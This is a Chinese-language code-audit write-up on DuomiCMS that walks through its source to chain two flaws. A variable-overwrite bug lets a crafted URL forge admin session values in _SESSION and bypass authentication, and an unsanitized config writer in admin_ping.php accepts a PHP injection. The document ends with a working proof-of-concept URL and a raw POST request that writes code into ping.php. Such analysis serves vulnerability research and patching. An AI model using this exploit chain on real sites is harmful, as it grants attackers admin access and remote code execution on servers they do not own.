废话不多说,开冲
定位漏洞代码admin/admin_ping.php
if($action=="set") { $weburl= $_POST['weburl']; $token = $_POST['token']; $open=fopen("../data/admin/ping.php","w" ); $str='<?php '; $str.='$weburl = "'; $str.="$weburl"; $str.='"; '; $str.='$token = "'; $str.="$token"; $str.='"; '; $str.=" ?>"; fwrite($open,$str); fclose($open); }
这个地方比较简单,接收action参数为set,即走入这个判断。直接写入了一个php文件,写入php内容$weburl
。
经常导致变量覆盖漏洞场景有:
$$使用不当,extract()函数使用不当,parse_str()函数使用不当import_request_variables()使用不当,开启了全局变量注册等。
这里包含了config.php
看到config.php代码
define('duomi_ADMIN', preg_replace("|[/\\\]{1,}|",'/',dirname(__FILE__) ) ); require_once(duomi_ADMIN."/../duomiphp/common.php"); require_once(duomi_INC."/check.admin.php"); require_once(duomi_ADMIN."/api/Snoopy.class.php"); ... $cuserLogin = new userLogin(); if($cuserLogin->getUserID()==-1) { header("location:login.php?gotopage=".urlencode($EkNowurl)); exit(); }
做了鉴权,来看看这个鉴权具体是怎么实现的。
来到userLogin
类中
class userLogin { var $userName = ''; var $userPwd = ''; var $userID = ''; var $adminDir = ''; var $groupid = ''; var $keepUserIDTag = "duomi_admin_id"; var $keepgroupidTag = "duomi_group_id"; var $keepUserNameTag = "duomi_admin_name"; //php5构造函数 function __construct($admindir='') { global $admin_path; if(isset($_SESSION[$this->keepUserIDTag])) { $this->userID = $_SESSION[$this->keepUserIDTag]; $this->groupid = $_SESSION[$this->keepgroupidTag]; $this->userName = $_SESSION[$this->keepUserNameTag]; } ...
$_SESSION
中分别取duomi_admin_id
、 duomi_group_id
、duomi_admin_name
见名知意,即对应的 用户名字、所属组、用户
来到login.php,即checkUser
方法被调用的地方。
$cuserLogin = new userLogin($admindir); if(!empty($userid) && !empty($pwd)) { $res = $cuserLogin->checkUser($userid,$pwd); //success if($res==1) { $cuserLogin->keepUser(); if(!empty($gotopage)) { ShowMsg('成功登录,正在转向管理管理主页!',$gotopage); exit(); } else { ShowMsg('成功登录,正在转向管理管理主页!',"index.php"); exit(); } }
只需要$res
等于1的话,即认证通过。
checkUser方法
function checkUser($username,$userpwd) { global $dsql; //只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符 $this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username); $this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd); $pwd = substr(md5($this->userPwd),5,20); $dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1"); $dsql->Execute(); $row = $dsql->GetObject(); if(!isset($row->password)) { return -1; } else if($pwd!=$row->password) { return -2; }
变量的位置在 common.php
看一看使用这个变量覆盖需要满足的条件
foreach($_REQUEST as $_k=>$_v) { if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) ) { exit('Request var not allow!'); } }
1.必须要有传参 2.正则匹配不能有cfg_和GLOBALS 3.不能有cookie某个值传参
$$变量覆盖漏洞
foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); }
现在需要寻找一个session_start
开启的地方,结合变量覆盖漏洞利用。
这时候结合到上面分析的鉴权实现得知鉴权是从$SESSION
中获取了
duomi_admin_id
、 duomi_group_id
、duomi_admin_name
这三个变量,构造poc覆盖这三个变量即可。
/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
POST /admin/admin_ping.php?action=set HTTP/1.1 Host: 192.168.8.104:8013 Content-Length: 38 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.8.104:8013 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.8.104:8013/admin/admin_ping.php Accept-Encoding: gzip, deflate Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6 Cookie: PHPSESSID=e1mlfmpf2knhvg6doj5gt2jqd6 Connection: close weburl=";phpinfo();//"&token=123456789